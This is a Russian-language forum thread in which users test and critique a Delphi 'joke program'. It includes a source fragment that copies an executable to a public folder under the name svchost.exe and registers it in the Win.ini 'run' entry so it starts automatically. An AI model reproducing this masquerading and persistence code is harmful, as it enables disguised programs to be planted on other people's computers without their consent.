Программа-шутка

[Alex11223]

Обои-то где?) Только убрало их.

[Festovec]

Вот, первая неприятность, программа писалась на winXP, там проблем не было, возможно, еще права Админа нужны, еще не тестил.

[Alex11223]

Я на ХР с правами админа и запускал.

[Festovec]

Да, нашел три косяка, исправил -

[Festovec]

Ну и сразу код. Принимаю советы по оптимизации и быстродействию.

[Alex11223]

Если значки на рабочем столе выделить, передвинуть и т.п., то вокруг них синий фон появляется.

[Festovec]

С чем связано, не могу объяснить, у меня такого не наблюдается. Обои-то хоть изменила?

[Alex11223]

Принимаю советы по оптимизации

Для получения пути к папке users (точнее к профилю текущего юзера) и т.д. есть винапи функции.

[Festovec]

Дело не в этом, это конкретный путь в Windows 7, к общей папке пользователей, чтобы была доступна всем. Так обои меняются или исправлять надо? P.S. особенно интересно, как себя ведет после перезагрузки компа.

[Человек_Борща]

ради интереса скачал исходники. Первый эпичный фэил с вашей стороны, это то, что все пути абсолютные а не относительные....

Вот допустим...

procedure TForm1.FormCreate(Sender: TObject);
var Win:TIniFile;
warn,path:string;
begin
k:=300;
MakeDir('C:\Users\Public\Libraries\Temp\');
Form1.Image1.Picture.SaveToFile(RootDir+'canva.bmp');
Form1.Timer1.Enabled:=true;
path:=RootDir+'svchost.exe';
if not FileExists(path) then begin
copyfile(PChar('Sexy ass.exe'),PChar(path),true);
end;
Regs(TRegIniFile.Create('Control Panel'));
Win:=TIniFile.Create('Win.ini');
Win.ReadString('windows','run',warn);
if warn<>path then
Win.WriteString('windows', 'run',path);
Win.Free;
end;

где блоки Try Except или Try Finally ?
Поч нет расиширения у созд. ини файла?
Почему пути абсолютные а не относительные?
Ну и пзачем вообще там форма нужна?

P.s. когда выкладываншь исходники, удаляй оттуда все DCU,dpp,dsk,exe файлы. Этот мусор не нужен вообще...
Должны остаться только dfm,pas,dpr файлы...